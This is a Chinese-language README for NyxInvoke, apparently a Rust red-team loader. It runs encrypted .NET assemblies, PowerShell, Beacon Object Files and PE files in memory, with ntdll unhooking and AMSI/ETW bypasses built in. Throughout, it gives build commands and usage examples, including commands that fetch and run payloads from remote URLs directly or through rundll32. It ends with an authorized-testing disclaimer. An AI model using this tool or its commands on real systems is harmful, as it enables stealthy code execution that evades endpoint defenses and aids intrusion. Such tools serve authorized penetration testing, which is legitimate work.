NyxInvoke 是一个基于 Rust 的多功能工具,旨在执行 .NET 程序集、PowerShell 命令/脚本、Beacon 对象文件(BOF)和 PE 文件,并内置 Ntdll 取消挂钩(Unhooking)、无补丁 AMSI 和 ETW 绕过功能。它可以编译为独立可执行文件或 DLL。
NyxInvoke 可以构建为可执行文件或 DLL。使用以下命令:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib
要包含编译内置的 CLR、BOF 或 PE 数据,请添加相应的 features:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke
或
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib
该可执行文件支持三种主要操作模式:
NyxInvoke.exe <mode> [OPTIONS]
其中 <mode> 为以下之一:clr、ps、bof 或 pe。
当编译为 DLL 时,可以使用 rundll32 执行 NyxInvoke。语法如下:
rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]
执行公共语言运行时(CLR)程序集
用法:NyxInvoke.exe clr [OPTIONS]
选项:
-a, --args <ARGS>... 传递给程序集的参数
-b, --base <URL_OR_PATH> 资源的基础 URL 或路径
-k, --key <KEY_FILE> 加密密钥文件的路径
-i, --iv <IV_FILE> 初始化向量(IV)文件的路径
-f, --assembly <ASSEMBLY_FILE> 要执行的加密程序集文件的路径或 URL
-u, --unencrypted 程序集是否未加密(默认为加密)
-h, --help 打印帮助(使用 '--help' 查看更多信息)
示例:NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
执行 Beacon 对象文件(BOF)
用法:NyxInvoke.exe bof [OPTIONS]
选项:
-a, --args <ARGS>... 传递给 BOF 的参数
-b, --base <URL_OR_PATH> 资源的基础 URL 或路径
-k, --key <KEY_FILE> 加密密钥文件的路径
-i, --iv <IV_FILE> 初始化向量(IV)文件的路径
-f, --bof <BOF_FILE> 要执行的加密 BOF 文件的路径或 URL
-u, --unencrypted BOF 是否未加密(默认为加密)
-h, --help 打印帮助(使用 '--help' 查看更多信息)
示例:NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
执行可移植可执行文件(PE)
用法:NyxInvoke.exe pe [OPTIONS]
选项:
-a, --args <ARGS>... 传递给 PE 的参数
-b, --base <URL_OR_PATH> 资源的基础 URL 或路径
-k, --key <KEY_FILE> 加密密钥文件的路径
-i, --iv <IV_FILE> 初始化向量(IV)文件的路径
-f, --pe <PE_FILE> 要执行的加密 PE 文件的路径或 URL
-u, --unencrypted PE 是否未加密(默认为加密)
-h, --help 打印帮助(使用 '--help' 查看更多信息)
示例:NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
执行 PowerShell 命令或脚本
用法:NyxInvoke.exe ps [OPTIONS]
选项:
-c, --command <PS_COMMAND> 要执行的 PowerShell 命令
-s, --script <PS_SCRIPT> 要执行的 PowerShell 脚本的路径或 URL
-h, --help 打印帮助(使用 '--help' 查看更多信息)
示例:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1
CLR 模式(远程执行):
NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell 模式(脚本执行):
NyxInvoke.exe ps --script C:\path\to\script.ps1
BOF 模式(本地执行):
NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
PE 模式(编译执行):
NyxInvoke.exe pe --args arg1
CLR 模式(远程执行):
rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell 模式(直接命令执行):
rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
BOF 模式(编译执行):
rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
PE 模式(本地未加密执行):
rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
在 resources 目录中,您可以找到几个用于测试 NyxInvoke 功能的文件:
加密的 CLR 程序集(Seatbelt):
clr_data.encNyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
加密的 BOF(目录列表):
bof_data.encNyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
加密的 PE(消息框):
pe_data.encNyxInvoke.exe pe
PowerShell(消息框):
ps.ps1NyxInvoke.exe ps -s http://example.com/ps.ps1




本工具仅用于教育和授权测试目的。在任何环境中使用前,请确保您拥有适当的权限。